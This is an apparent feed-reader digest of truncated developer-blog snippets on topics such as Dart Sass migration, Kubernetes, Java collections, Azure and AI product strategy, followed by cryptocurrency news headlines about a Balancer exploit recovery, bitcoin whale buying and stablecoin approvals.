    Gemini 3.0: Stop Arguing Models—Start Rewiring Work
    Everyone's talking about Google's Gemini 3.0, but the real opportunity isn't model vs model—it’s how UI understanding will reshape your daily work. Most teams will wait for the press release. The smart ones will run small pilots inside tools they already use. Here’s the play that actually works ↓ Debates about AI supremacy miss the point. What matters is time to value in real workflows. If an AI can read screens, understand buttons, and learn from short videos, you get stacked gains. Those gains spread across support, ops, sales, and product. For example, imagine onboarding that watches a 3-minute demo and builds a step-by-step checklist from your UI. A support rep could review a screen recording, suggest next clicks, and draft a reply in seconds. In a two-week test, you could aim for 20–30% faster closes and fewer escalations by measuring time, clicks, and accuracy. ↓ Pilot playbook to test now • Pick one workflow with a clear start and finish. • Capture 5–10 real sessions as short videos and screenshots. • Define success before you start: time saved, clicks reduced, accuracy. • Run side-by-side for two weeks: human-only vs AI-assisted. ↳ Document what the AI gets wrong, then simplify prompts or the UI. → Share one clip and one metric with leadership. ⚡ You’ll quickly notice fewer clicks, faster cycles, and cleaner handoffs. ⚡ Leaders get clearer reports, reps get fewer tabs, customers get faster answers. The model matters, but the workflow is the hero. What’s stopping you from piloting this in the next 14 days?  ( 6 min )
    Zona Rural com Geração Solar: Como Migrar para Mercado Livre em 2025
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    AI Spots Trouble Before Traffic Does: Preventing Urban Gridlock with Smart Vision by Arvind Sundararajan
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    Stop Using @import: How to Prepare for Dart Sass 3.0 (Full Migration Guide)
    What’s Changing in Dart Sass 3.0 The Sass team announced that Dart Sass 3.0 will arrive no earlier than two years after version 1.80.0. When it ships, several features will be removed completely: @import → Removed. Replaced by @use and @forward. Global built-in functions (e.g. map-get, nth, call) → Removed. You must import functions from the relevant module (sass:map, sass:list, etc.). Legacy global color functions → Replaced by namespaced versions from sass:color. Right now these features still work, but trigger deprecation warnings. With 3.0 they will fail with errors. @import, Hello @use Dart Sass is moving forward. The next major release, Dart Sass 3.0, will remove long-deprecated features such as the @import rule and global functions like map-get. If your stylesheets still dep…  ( 7 min )
    The Day Light Walked Into Darkness: A Deep Devotional Journey Through John 9
    There are chapters in Scripture that comfort us, chapters that challenge us, and chapters that feel like they take a lamp and shine it directly into the deepest corners of the human heart. Gospel of John Chapter 9 does more than that. It doesn’t just illuminate—it exposes. It reveals. It unwraps layers of pride, doubt, legalism, fear, and misplaced certainty. It asks questions we avoid. It brings our assumptions to the surface. It confronts us gently and directly all at once. This chapter is one of those rare places in the Bible where the miracle itself seems almost secondary because the meaning behind it is so piercing. Jesus heals a man blind from birth—but the real miracle in this story isn’t just the restoration of physical sight. It’s the revelation of spiritual blindness in the peopl…  ( 11 min )
    Building a Useless Machine in Elixir
    A Useless Machine does one thing: when you turn it on, a mechanical paw reaches out and flips the switch back off. Useless, but fun. Let's build one in Elixir! To save us some code, and to give our Useless Machine object permanence, we'll define it as a reactive durable workflow using Journey. To play with this, you'll want to have Elixir 1.18 or 1.19, Docker (if you want to run your postgres database in a docker container), and some familiarity with Elixir. If you use asdf, here is the .tool-versions file I used for this exercise: $ cat .tool-versions erlang 27.1.2 elixir 1.19.1-otp-27 The source code for this exercise is available at https://github.com/markmark206/useless_machine If you want to just start playing with Useless Machine, not implement it, just clone the repo, follow its se…  ( 9 min )
    Daily Tech News Roundup - 2025-11-27
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    7 Best Resources to Learn C++: My Journey from Confusion to Clarity
    When I first started learning C++, I felt lost in a sea of syntax, pointers, and manual memory management. The language seemed powerful yet daunting. But over time, I found resources that transformed my confusion into confidence. Today, I want to share the 7 best resources to learn C++ that helped me — and can help you — master this complex language efficiently. “C++ Primer” by Stanley B. Lippman (Book) One of my earliest breakthroughs came after struggling with vague online tutorials for weeks. Then I picked up C++ Primer — and everything clicked. Why this book? Comprehensive coverage from the basics to advanced topics. Clear explanations on C++11/14/17 features. Real-world example code that illustrates concepts. Exercises that reinforce what you read. Pro tip: Don’t just read—code alon…  ( 8 min )
    NocoBase Weekly Updates: Optimization and Bug Fixes
    Originally published at https://www.nocobase.com/en/blog/weekly-updates-20251127 Summarize the weekly product update logs, and the latest releases can be checked on our blog. NocoBase is currently updated with three branches: main , next and develop. main:The most stable version to date, recommended for installation; next:Beta version, contains upcoming new features and has been preliminarily tested. There might be some known or unknown issues. It's mainly for test users to collect feedback and optimize functions further. Ideal for test users who want to experience new features early and give feedback; develop:Alpha version, contains the latest feature code, may be incomplete or unstable, mainly for internal dev and rapid iteration. Suited for tech users interested in product's cutting-ed…  ( 13 min )
    What is Agentic AI? A Complete Guide to Autonomous AI Systems
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    Day 16: Why Cloud Governance Is Incomplete Without FinOps
    Governance refers to the framework of principles, policies, and processes that determine how your organization's cloud resources are administered, kept secure, and optimized. It is the structure necessary to ensure that the environment aligns with your business objectives, security requirements, and compliance obligations. Effective governance is not about stifling innovation. It is establishing guardrails to enable teams to move fast, yet in compliance with organizational standards. Consider it as setting the rules of the highway to ensure safe and efficient transportation, not building roadblocks. Governance without FinOps leads to control without clarity Governance in the cloud ensures control, security, compliance, and accountability. FinOps ensures financial visibility, cost ownership, and optimization. In cloud environments, the cost is not only a finance issue, but it's a governance issue. Governance without FinOps is incomplete. What Happens Without FinOps Teams over spend with no accountability Budgets blow up unexpectedly Business units bypass policies for faster delivery Finance cannot track or justify cloud spending Leadership loses visibility into ROI How FinOps Strengthens Cloud Governance Compulsory tagging policies for allocation This will cost guardrails e.g.) budget alerts, quota limits. Chargeback / showback for accountability Rightsizing and waste cleanup frameworks Data-driven spending decisions Cloud governance sets the rules. Cloud governance sets the rules — FinOps ensures those rules deliver business value  ( 8 min )
    🧠 What Is the Control Plane in Kubernetes?
    The Control Plane is the “Brain” of Kubernetes. It makes all the decisions in the cluster: What should run? Where should it run? What to do if something breaks? How many replicas should exist? Which node should get which pod? The Control Plane is responsible for managing the entire cluster, while Worker Nodes simply follow its instructions. Why Was the Control Plane Created? Without a central “brain,” you would have chaos: No one decides which node runs which pod No one restarts pods when they crash No one performs scaling No one stores the desired state No communication between nodes Kubernetes needed a central orchestrator. → That is the Control Plane. Control Plane = 5 Main Components 📌 1. API Server (kube-apiserver) etcd Scheduler (kube-scheduler) Controller Manager (kube-co…  ( 7 min )
    Mastering Azure Availability Sets: Fault Domains, Update Domains, and Best Practices
    When building infrastructure in Azure, high availability is non-negotiable. One of the fundamental tools for achieving this within a single datacenter is the Availability Set. In this post, we’ll break down how Availability Sets work, the math behind Fault and Update domains, and the critical constraints you need to know. What is an Availability Set? This distribution is crucial because it protects your applications from two specific types of disruptions: Planned Maintenance Events: Handled by Update Domains. Unplanned Hardware Failures: Handled by Fault Domains. The Core Components: Fault vs. Update Domains Fault Domains (FD) What they are: A Fault Domain represents a group of VMs that share common physical hardware, specifically a power source and a network switch (think of it as a physi…  ( 8 min )
    Making A Peer Review System for My Blogs Using Google-ADK & Mem0
    My Process When writing my technical blogs, I have a very rigid process I like to follow. Research the topic I am interested in Create a structured research roadmap I require to gain knowledge about the particular topic Go through the roadmap and try to learn/research the concepts as in-depth as I can Start coding whatever the relevant implementation for that topic is Finally, start writing the blog But one thing always bugs me, "Is my blog factually correct and have I compromised the integrity of my blog anywhere?". That leads me to frantically go through my sources repeatedly and asking tools like Perplexity about the blog. So, I had the idea to automate this process by a creating a Peer Review System. 1. What the System Focuses On It behaves like a technical editor, not just a gra…  ( 8 min )
    6 Essential Tools to Supercharge Your Workflow & Creativity
    As a tool enthusiast, I spend countless hours hunting for software that can shave seconds off a task or spark new ideas. Today, I’m sharing 6 incredible tools—from powerful developer environments to aesthetic design utilities—that deserve a spot in your digital toolkit. Let’s dive in. ServBay: The Local Dev Powerhouse Best for: Full-stack developers and AI hobbyists. Setting up a local dev environment used to be a headache of version conflicts. ServBay changes the game. It allows you to install and run multiple versions of PHP, Node.js, Java, Go, and Rust simultaneously. It comes pre-packed with essential databases (MySQL, PostgreSQL, Redis, etc.). Why it stands out: Notion: The AI-Connected Workspace You likely know Notion, but have you used it as an AI-powered second brain? It is t…  ( 7 min )
    Micro Frontend: Common Misconceptions with Case Studies
    Original Korean article Cloud Native and microservices have gained significant attention, leading to the emergence of similar architectural patterns in the frontend space. Micro Frontend (MFE) is at the forefront of this movement, and we're increasingly seeing attempts to adopt this architecture. What exactly is MFE, and in which situations is it suitable? A micro frontend is an architectural pattern for web development, where independently developed frontends are composed into a greater whole. - wikipedia MFE is a frontend architecture that enables independently developed applications to be accessed through a single domain. This structure allows frontend teams responsible for each service to establish autonomous development environments, enabling development without going through complex …  ( 12 min )
    Java 8 -Streams API Few Questions
    1. Given a list of strings, print them in uppercase in alphabetical order. 2. Given a list of strings, print them in uppercase by the length of each element. 3. Given a list of strings, remove null or empty strings from the list. 4. Given a list of nums, square each number in the list. 5. Given a list of nums, find the largest number in the list. Explanation: Use max with natural ordering. Solution (Java): Optional max = nums.stream().max(Integer::compareTo); int largest = max.orElseThrow(() -> new NoSuchElementException("List empty"));  ( 6 min )
    Python by Structure: How Decorators Transform Classes
    Timothy stared at a configuration system he'd been reading. "Margaret, I understand decorators on functions now, but this codebase has decorators on entire classes. How does that even work?" Margaret walked over. "Class decorators are powerful - they can add attributes, modify methods, or register the class in a system. What are you looking at?" Timothy pointed at his screen. "This registration system. Every class has a decorator that seems to modify it and register it automatically. But I don't understand how a decorator can transform a whole class." Margaret pulled up a simplified example. "Before class decorators, you'd have to manually register each class after defining it." class DataValidator: def validate(self, data): return len(data) > 0 class EmailValidator: def v…  ( 9 min )
    Ringer Movies: ‘Two for the Money’ With Bill Simmons, Chris Ryan, and Cousin Sal | The Rewatchables
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    CinemaSins: Everything Wrong With KPop Demon Hunters In 16 Minutes Or Less
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    CinemaSins: Everything Wrong With Mission: Impossible - The Final Reckoning In 27 Minutes Or Less
    TL;DR CinemaSins just dropped their “Everything Wrong With Mission: Impossible – The Final Reckoning In 27 Minutes Or Less,” poking fun at Tom Cruise’s latest death-defying stunts while confessing the franchise has maybe lost a bit of its mojo. Expect the classic snark, rapid-fire sins, and a fond-but-critical take on how the series wrapped up. They also plug their main site (cinemasins.com), YouTube spin-offs (TVSins, Commercial Sins, CinemaSins Podcast Network), a sinful poll, Patreon support, and social hangouts—Discord, Reddit, TikTok, Instagram—and even showcase their writer squad’s Twitter and Instagram handles for those who love behind-the-scenes nerd chatter. Watch on YouTube  ( 6 min )
    Collection Interface - List
    ** ** *List: * Key Features: ArrayList: ✅ Key Features: ✅ When to Use: ✅ Important Points to Remember: ✅ One-Line Summary: ArrayList = Fast access + Dynamic Array + Allows duplicates & nulls + Not thread-safe  ( 6 min )
    My First LLM Evaluation Pipeline
    The Context: Why I Started This Journey After 7+ years as a Software Testing Lead, I've spent countless hours ensuring code quality, writing test cases, and building robust testing frameworks. But as AI systems started becoming ubiquitous in production environments, I found myself asking: "How do we test AI models with the same rigor we test traditional software?" I approached this learning exercise by building two versions of LLM evaluation pipelines, each teaching me different aspects of the evaluation process. Dataset: 50 physics questions in .jsonl format LLM Outputs: 50 hardcoded responses (simulating pre-generated outputs) Evaluation Model: Azure OpenAI Metric Used: Answer Relevancy Results: 28/50 passed (56% pass rate) ⚠️ Dataset: 5 Olympics trivia questions LLM: DeepSeek-R1 8B (r…  ( 10 min )
    Understanding the Imperative to Import Data
    In the contemporary digital ecosystem, data is the lifeblood of strategic decision-making. The fundamental act to import data is the initial, critical step in transforming raw, often disparate information into a cohesive and actionable asset. Whether it's sales figures from a CSV file, customer feedback from an online survey, or real-time sensor readings from IoT devices, the ability to seamlessly import data into a centralized system like a database, data warehouse, or analytics platform is what unlocks its potential. This process moves data from its source into a target environment where it can be cleaned, analyzed, and visualized. For businesses, this is not merely a technical task but a core operational necessity. It enables organizations to move beyond gut feelings and operate on evid…  ( 9 min )
    Why Banana is the "Visual Reasoning" Engine You Need in 2025
    If you’ve glanced at the Dev.to leaderboard this week, you couldn't miss the name dominating the charts: Nano Banana Pro. Just yesterday, tutorials for this model swept through the community. Everyone isn't just talking about "another image generator"; they are talking about a paradigm shift: From "Random Generation" to "Reasoned Creation." In late 2025, the bar has been raised. Developers and creators are done with "gacha-style" prompting where you roll the dice and hope for the best. We need precision, perfect text rendering, and a visual engine that actually understands logic. This is exactly what Textideo and its integrated Nano Banana Pro model are solving. According to deep-dive reviews on Dev.to and official metrics from Textideo, Nano Banana Pro is a phenomenon because it fixes t…  ( 7 min )
    Collection framework
    What is the difference between fail-fast and fail-safe iterators? ● Fail-fast (like in ArrayList, HashMap) throw ConcurrentModificationException if the collection is modified while iterating. 🔹 2. Why does HashMap key need equals() and hashCode() methods? 🔹3. What happens if two keys have the same hash code in a HashMap? 🔹 4. Can we insert null in a HashSet or HashMap? 🔹 5. How does HashMap handle rehashing? 🔹 6. What’s the difference between ArrayList and LinkedList in terms of performance? 🔹 7. How does TreeMap maintain sorting? 🔹 8. What is the difference between Collection and Collections? 🔹 9. What is the difference between HashMap and ConcurrentHashMap? 🔹 10. Why compareTo() and equals() must be consistent in sorted collections like TreeSet or TreeMap? Because if compareTo() says two objects are equal but equals() disagrees, it can break contract — leading to missing or duplicate elements in sorted collections.  ( 7 min )
    The Developer Extinction Line: Why 2026 Will Delete Half the Industry Without Warning
    The fear isn’t abstract. It’s statistical. The market is oversupplied with engineers whose output is indistinguishable from an autocomplete model. The 2025 economy measures developers by throughput per dollar, and most can’t survive that math. The collapse is already visible: The fear comes from watching career moats evaporate: • Tool familiarity is worthless when interfaces abstract the tool. The panic spikes when developers realize the new selection pressure: 2025 forces a binary outcome: The Developer Extinction Line: Why 2025 Will Delete Half the Industry Without Warning Post: The collapse is already visible: The fear comes from watching career moats evaporate: • Tool familiarity is worthless when interfaces abstract the tool. The panic spikes when developers realize the new selection pressure: Either your output creates more output, or your role shrinks until it disappears.  ( 7 min )
    # Impostor Syndrome in Tech: Why You Might Feel Like a Fraud — and How to Move Forward
    In a recent job working with Java and Spring Boot, I found myself second-guessing many of my decisions. Sometimes I would say, “I’m following the project’s patterns.” Other times I realized I didn’t fully master some libraries, specific approaches, or certain uses of annotations. My tech lead had far more experience with that stack than I had. Inevitably, I compared my knowledge level to his. Still, there were several moments when I proposed improvements and delivered solutions that made development and maintenance easier. I worked at that company for almost two years and made several meaningful contributions to the same project. I helped introduce coding patterns that improved the development experience, and I also worked as a full-stack developer on multiple initiatives, including one of the most relevant projects: a chatbot where a colleague and I developed the frontend together. During my time there, I worked on backend systems using Java, TypeScript, Stencil, and other related technologies. I also helped plan and establish a migration process for legacy Java projects, updating framework versions and addressing security issues in outdated dependencies. Even so, a nagging feeling crept in: “Am I way below what they expected? Am I really that bad?” That inner voice was the classic Impostor Syndrome. It had been more than four years since I last worked with Java and Spring Boot. During that time I adapted to the technologies each company used. That constant adaptation has a price: you drift away from certain stacks and lose depth in them. Here’s the lesson I took from that experience — simple yet powerful: Relearning and refreshing your skills is essential. Even if you already have experience, continuous learning is what keeps you confident and relevant. Impostor Syndrome may show up, but it can also be a sign of humility and awareness that there is always room for growth. In the end, what matters most is this: keep learning, keep contributing, and allow yourself to evolve.  ( 7 min )
    We're living in a strange moment in tech history. Just a few years ago, adding “AI-powered” to your product was a competitive advantage. Today, it’s the bare minimum.
    When Every App Uses AI, What Makes Yours Different? Jaideep Parashar ・ Nov 27 #ai #learngoogleaistudio #api #powerapps  ( 7 min )
    When Every App Uses AI, What Makes Yours Different?
    We’re living in a strange moment in tech history. Just a few years ago, adding “AI-powered” to your product was a competitive advantage. Every app uses AI: note-taking apps writing tools coding assistants task managers CRM platforms design tools search apps customer support bots Everyone has the same models, the same APIs, the same features, and the same demos. So the real question becomes: When every app uses AI… what actually makes yours different? This is the part most founders and developers get wrong because the answer has nothing to do with models, and everything to do with judgment, workflow, and experience. Let’s break it down. 1. AI Is No Longer a Feature: It’s Infrastructure Five years ago, “AI” was a differentiator. Just like: electricity cloud computing storage databases APIs A…  ( 11 min )
    The Architectures of Agency
    1. The Disintegration of the God Model The history of enterprise computing is effectively a history of the pendulum swing between centralization and disintegration. To understand the current architectural pivot toward the Model Context Protocol (MCP), Agent-to-Agent (A2A) frameworks, and Agent Communication Protocols (ACP), one must first situate these technologies within the broader timeline of integration. We are witnessing the end of the "God Model" era in Generative AI—a brief period where the industry hallucinated that a single, monolithic set of parameters could serve as the universal operating system for all human knowledge and execution—and the beginning of the "Agentic Mesh." This transition mirrors the shift from the mainframe to the client-server model, and later, from the mon…  ( 12 min )
    Kanpeki: Accessible React Components Built on React Aria
    Kanpeki: A React component library where you own the source code instead of installing packages. Built on React Aria Components for WCAG compliance, styled with Tailwind CSS. Copy components into your project and modify them as needed. Key features: 🎯 Copy-paste architecture removes dependency management ♿ React Aria handles accessibility primitives automatically 🎨 Tailwind CSS styling with full customization control ⚡ Motion support through tailwindcss-motion 📦 35+ production-ready components 🔧 CVA beta for type-safe variant management The library works with Next.js, Remix, and standard React setups. Installation takes a few CLI commands, then you control everything. 👉 Blog Post 👉 GitHub Repo 👉 Live Demo  ( 6 min )
    Build Golden Connections: How to Turn Professional Encounters into Career Assets
    If there’s one thing I’ve learned during my career it’s this: friendships at work are far more valuable than mere professional contacts. They can open doors you never imagined — even if you are living in a different country, adapting to new environments or building your career from scratch somewhere else. At different stages in my journey these connections changed my path. In college, a classmate who ran a company invited me to work with him. Years later, a professor who recognized my technical skills recommended me for a role at a very well-known company in Brazil. Later still, at a company where I built deep friendships, I experienced one of the periods when I learned the most in my career. We had an extremely technical team, and together, we built incredible things. I still keep in touc…  ( 8 min )
    Create and Sell Custom WordPress Themes: A Dev’s Guide to Earning Big
    Are you a developer looking to turn your WordPress skills into a reliable stream of income? You’re not alone. With millions of websites running on WordPress, the demand for custom themes and plugins has never been higher. Whether you’re an experienced developer or just starting out, building and selling your own WordPress themes can open the door to serious financial rewards. This guide is packed with step-by-step advice on how you can create your own WordPress themes and sell them on popular marketplaces like ThemeForest. Let’s dive into how you can turn your coding knowledge into cash! Before we jump into the how, let’s talk about the why. WordPress powers over 40% of all websites on the internet, and the platform’s flexibility makes it a go-to for individuals and businesses looking to c…  ( 9 min )
    AI-Generated Code: Is It Good or Bad?
    Developers should stop wasting time debating whether AI-generated code is “good” or “bad” and start focusing on how to use it intelligently and responsibly. AI does not replace technical knowledge or engineering experience. What it does is act as a high-leverage tool that expands your ability to deliver, explore, validate and learn. When used with proper supervision, AI becomes a powerful ally rather than a threat. AI can accelerate your work in multiple ways. It can help you understand unfamiliar code patterns, explore different implementation strategies, and create examples that serve as a starting point for your own solution. Imagine you need to maintain a legacy Angular application and have no idea how to write a unit test for a specific scenario. You can ask AI for an example in a sim…  ( 7 min )
    He Stood Between Me and the Stones: A Deep Walk Through John 8
    There are chapters in Scripture that sit quietly on the page until your life finally reaches the moment where you can hear them. Chapters that wait for your wounds to be open enough, your heart to be honest enough, and your spirit to be tired enough that the words stop sounding like history and start sounding like rescue. That is the power of John 8, the chapter where Jesus doesn’t just teach truth — He embodies it. This is a chapter that exposes every part of the human condition: shame, pride, self-righteousness, sin, truth, hypocrisy, fear, compassion, and the relentless mercy of God. And when read with an open heart, this chapter will do for you exactly what Jesus did for the woman caught in adultery: This article is written the way a legacy article should be — slow, deep, personal, spi…  ( 12 min )
    Nocyclopedia
    Check out this Pen I made!  ( 5 min )
    API Request Limiter Challenge
    Time to complete: 30-60 minutes Difficulty: Intermediate Skills tested: Application Security, Algorithm Design, Edge Case Handling In April 2020, security researcher Tom Anthony discovered he could crack into any password-protected Zoom meeting in under 3 minutes. The flaw? No rate limiting on password attempts combined with Zoom's default 6-digit numeric passwords meant attackers could brute-force all 1 million possible combinations within minutes using basic Python code and a handful of cloud servers. Zoom immediately took down their web client on April 2nd to fix the vulnerability, but the damage was done—during peak pandemic lockdown, when millions relied on Zoom for private business meetings, therapy sessions, and confidential legal consultations. Want to make sure your rate limiter…  ( 12 min )
    Unlocking Data Narratives: Visualizing Information Flow with Concept Graphs
    Unlocking Data Narratives: Visualizing Information Flow with Concept Graphs Drowning in data but struggling to see the big picture? Do you find it challenging to translate complex data streams into actionable insights? Imagine being able to visualize the underlying logic of your data, revealing hidden patterns and enabling you to build intuitive conceptual models. Concept graphs offer a powerful solution. They are essentially visual blueprints of data processes, representing how data flows and transforms through a system. These graphs are structured as directed networks where nodes represent data states or processes, and edges indicate the flow of information between them. Think of it like a street map for your data – each intersection represents a key transformation, and the roads illus…  ( 7 min )
    Supercharge Your TCJSGame: Introducing Sonic.js Performance Extension
    Supercharge Your TCJSGame: Introducing Sonic.js Performance Extension If you've been using TCJSGame for your 2D web games, you've probably noticed that performance can become an issue as your games grow more complex. That's where Sonic.js comes in - a powerful performance extension that can dramatically improve your game's frame rates and smoothness. Sonic.js is a performance optimization extension for TCJSGame that introduces advanced rendering techniques to boost your game's performance. It works by creating an intelligent dual-canvas system that minimizes expensive draw calls and optimizes rendering pipelines. The core innovation of Sonic.js is its dual-canvas approach: // Main display canvas (what players see) const display = new Display(); // Offscreen buffer canvas (for optimized…  ( 9 min )
    Configure Azure Container Registry for a secure connection with Azure Container Apps
    Configuring Azure Container Registry (ACR) for a secure connection with Azure Container Apps is a crucial step in ensuring that your containerized applications are deployed safely and efficiently. This process involves setting up permissions and authentication so Azure Container Apps can securely pull container images from ACR without exposing credentials. By integrating ACR with managed identities or workload identities, teams can streamline deployments, improve security, and maintain a clean, automated DevOps workflow. Configure a user-assigned managed identity Open your Azure portal. On the portal menu, select + Create a resource. On the Create a resource page, in the Search services and marketplace text box, enter managed identity In the filtered list of resources, select User As…  ( 8 min )
    Confluent Cloud
    Confluent is the name of a company that provides commercial support for Kafka. When enterprises use open source software, they often look for product support on the basis of payment. For example if the software has bugs or security issues, enterprises need tech support in a time bound manner. Confluent is one of the companies that provide such support. Kafka is a stream processing framework. There are many of them out there, both proprietary and open-source. Kafka is popular because it’s open-source, highly performant and flexible. I’m not going to go into lengthy comparisons with other frameworks. Instead, I’ll try to explain why you should use stream processing in the first place. Why stream processing? If you’re building a system that handles large volumes of data, which is increasingly…  ( 7 min )
    Converting Windows Text to Linux Format
    Line ending inconsistencies between Windows and Linux systems cause formatting issues, Git warnings, and script failures. Operating systems use different conventions to mark the end of a line in text files, creating compatibility challenges in cross-platform development: Windows: Carriage Return + Line Feed (\r\n or CRLF, hex 0D 0A) Linux/Unix: Line Feed only (\n or LF, hex 0A) Classic Mac OS: Carriage Return only (\r or CR, hex 0D) This historical difference stems from typewriter mechanics. Windows inherited the CRLF convention from DOS, which maintained compatibility with teletype machines that required both a carriage return (move to line start) and line feed (advance paper). Bash scripts with Windows line endings fail with cryptic errors: bash: ./script.sh: /bin/bash^M: bad interpreter…  ( 13 min )
    The AI Revolution Is a Lie: 5 Surprising Truths About Why Your Company's Strategy Is Failing
    TL;DR: AI-First vs. Digitally-Enhanced 5 Key Messages 88% use AI. 39% see impact. Most are "Digitally-Enhanced" (10-15% gains). AI-First delivers 34x revenue per employee via complete process redesign, not tool adoption. Mindset is the bottleneck. Shift from certainty → curiosity, mastery → learning, competition → collaboration. Organizational debt (silos, risk-aversion) must be paid down alongside technical debt. High performers optimize tempo, not cost. Elite 6% complete Scan-Orient-Decide-Act in 2 weeks vs. 8. Velocity compounds. Decision speed = competitive moat. Pilot purgatory is real. Two-thirds haven't scaled. "String of pearls" without North Star = no enterprise impact. Escape: one narrow E2E process, build trust, expand systematically. Jobs evolve, don't disappear. …  ( 15 min )
    Understanding Amazon CloudFront's New Flat-Rate Pricing
    On November 18th, AWS introduced new flat‑rate pricing plans for Amazon CloudFront designed to make content delivery and security costs more predictable for teams of all sizes. These plans sit alongside the existing pay‑as‑you‑go model and bundle multiple services into a single monthly price per distribution. Traditionally, CloudFront has used pay‑as‑you‑go pricing, which is great for starting at $0, scaling with actual usage, and only paying for what you consume. The tradeoff is that estimating costs can be difficult, especially when you also depend on AWS WAF, DDoS protection, Route 53, CloudWatch Logs, and S3 for a single application. You end up stitching together multiple pricing pages and trying to map them to your traffic patterns just to get a reasonable forecast of your monthly bil…  ( 8 min )
    Is JSON Outdated? The Reasons Why the New LLM-Era Format "TOON" Saves Tokens
    JSON, You Talk Too Much: Exploring TOON for Token-Efficient LLM Communication Introduction JSON, buddy, you might be a bit too chatty. As developers, JSON (JavaScript Object Notation) is like the air we breathe. It's everywhere—API responses, config files, logs, you name it. I've trusted JSON as my reliable companion for years. But ever since I started working with LLMs (Large Language Models), something's been bugging me: "Wait... are you talking way too much?" [ {"id": 1, "name": "user_a", "role": "admin"}, {"id": 2, "name": "user_b", "role": "member"}, {"id": 3, "name": "user_c", "role": "member"} ] JSON is thorough. Very thorough. A good friend, really (or maybe not a "friend" at all, but you get the idea). But that diligence—repeating "id":, "name":, "role": every …  ( 13 min )
    Semantic Object Factory: The Missing Layer That Aligns AI Intent With Backend Semantics
    Author: (bnggbn) Context: Building on IRP In my previous articles, I established two foundational concepts: IRP (Inverse Responsibility Principle): The backend defines semantics; the frontend must normalize them. Semantic Boundary: The frontend becomes the semantic firewall, not just a UI renderer. Today, I address the critical engineering question: How does the frontend actually achieve this normalization? Where do "semantics" come from, and how do clients transform messy AI and human intent into backend-consumable meaning? Enter the most important missing layer in modern system design: ⭐ Semantic Object Factory (SO Factory) This article introduces the concept—not tied to any specific language, framework, or schema tool—and explains why AI-native systems cannot function without it. AI d…  ( 9 min )
    Building Resilient Cloud Infrastructure with Terraform and Azure
    I recently completed a project where I built both resilient and non-resilient cloud resources using Terraform to test a cloud resilience monitoring tool that's still under construction. The objective was to calculate the Recovery Time Objective (RTO) and Recovery Point Objective (RPO) for individual cloud resources, with the proof of concept being done on Azure. As an AWS-native DevOps engineer, I had to get familiar with Azure fast. I took a 10-hour Udemy course and dove straight into provisioning infrastructure-as-code. It was my responsibility to set up all the resources, and that meant learning a completely new cloud platform while implementing disaster recovery solutions that actually work. The main differentiators between resilient and non-resilient resources came down to two things:…  ( 10 min )
    How I Started Learning Java & Spring Boot (As a Beginner Developer)
    Hi DEV Community! 👋 This is my first post here, so I wanted to share a bit about my learning journey as a developer. How I Started I started learning Java because I wanted to build real applications and understand backend development properly. My first steps were simple: Learning core Java concepts Understanding OOP Practicing small programs Trying to fix errors without giving up After gaining some confidence, I moved to Spring Boot, and that completely changed the game for me. Why Spring Boot? Because it makes backend development clean, fast, and professional: Easy API creation Built-in security options Great documentation Used by most companies I first built small APIs like: User registration Login system Simple CRUD JWT authentication These small wins helped me stay motivated. What I’m Learning Now Right now I’m learning: Spring Security JWT Authentication Multi-tenant architecture React & Next.js for frontend Building full-stack projects My goal is to become really strong in backend (Java + Spring Boot) and build complete systems end-to-end. Why I Joined DEV I want to: Share my learning journey Write simple explanations for other beginners Connect with developers who love backend and frontend technologies Start contributing to open-source projects  ( 6 min )
    Introduction
    Welcome. I am a 13 year old litrature freak and tech enthusiast. While I have been experementing with robotics and basic programming since I was 9, I have decided to properly learn Python. I will be posting weekly reports on what I learnt that week as well as if I did/am doing any significant projects. This is mostly so that I can hold myself accountable but feel free to use my reports to plan out your own python study if you are a beginner like me. I also have an abnormal intrest in the word 'Quantum'. While I do love Shakespere and old Gothic litrature, I also love the consept of the multiverse, time bending and how Quantum Computing can be related to it all. So, I will be trying to learn about topics surrounding the word and reiterate whatever I understood here. Aside from that, I also love ethical hacking and have previously taken part in a few basic hackathons. I wish to deepen my sills and understanding in this area after I have finished learning a good level of python. Have a great day.  ( 6 min )
  • Open

    Balancer DAO Starts Discussing $8M Recovery Plan After $110M Exploit Cut TVL by Two-Thirds
    The recovered tokens, spanning multiple networks and assets, will be paid out in the same tokens as originally provided, with a claim mechanism being developed.
    Toncoin Lags Broader Crypto Rebound as Derivatives Data Shows Cautious Optimism
    Altcoin funding rates, including for TON, have turned positive, indicating renewed confidence among traders, but overall market participation remains muted.
    Trump Family-Linked Alt5 Sigma Ousts Top Execs After CEO Suspension Shakes Up Leadership
    The company is on its third CEO in six weeks, with Tony Isaac appointed as Acting CEO, and has named Steven Plumb as its new CFO.
    Avalanche ETF Race Heats Up as Bitwise Becomes First to Add Staking
    Bitwise moves its Avalanche ETF closer to market with updated SEC filing and becomes first issuer to include staking.
    Hash Ribbon Flashes Signal That Often Marks Cyclical Bottoms for Bitcoin Price
    A historically reliable bottom signal appears after bitcoin’s 35% correction.
    Crypto for Advisors: Crypto’s Role in Portfolios
    Crypto's role in diversified portfolios: managing volatility, setting clear mandates, risk discipline, and the case for active investing and broader diversification.
    UK Proposes ‘No Gain, No Loss’ Tax Rule for DeFi in 'Major Win' for Users
    The proposal, with input from major industry players, aims to bring tax rules in line with how DeFi works, reducing outcomes that don't reflect reality.
    Justin Sun Doubles Down on First Digital Trust Fraud Allegations, Urges H.K. Regulators to Act
    Sun accused FDT of exploiting gaps in Hong Kong’s trust company regime and urged regulators to act after a Dubai court froze assets linked to the alleged misappropriation.
    Bitcoin Whales Return to Buying for the First Time Since August as Price Recovers Above $90K
    Large holders return to buying after months of distribution, signalling renewed confidence at key support levels.
    BNB Holds Below $900 Level as Onchain Activity Slumps, Network Updrages Loom
    Price action remains stable, consolidating below $900, amid tension between weak fundamentals and upcoming upgrades.
    Australia’s New Digital Assets Bill Seeks to Prevent Past Crypto Failures
    The Australian government introduced digital assets legislation to modernize its financial system and safeguard consumers.
    Crypto Markets Today: Bitcoin Leads Broad Recovery as Traders Eye Possible Santa Rally
    Bitcoin and ether surged following Wednesday's tech-led equities rebound, while derivatives flows signal growing optimism for a year-end push.
    Ark Invest Buys $16.5M of Coinbase Stock, Largest Purchase Since Aug. 1
    COIN closed at $264.97, 4.27% higher on the day, accompanying a relative recovery in the crypto market, which saw bitcoin gain over 3.3% to reclaim $90,000.
    Ripple’s RLUSD Stablecoin Wins Key Regulatory Green Light in UAE
    The designation means licensed firms can use the dollar-pegged token for regulated activities, placing it into a small group of tokens permitted by the ADGM’s ring-fenced financial system.
    Philippine Digital Asset Exchange Eyes $60B Tokenization Opportunity With Project Bayani
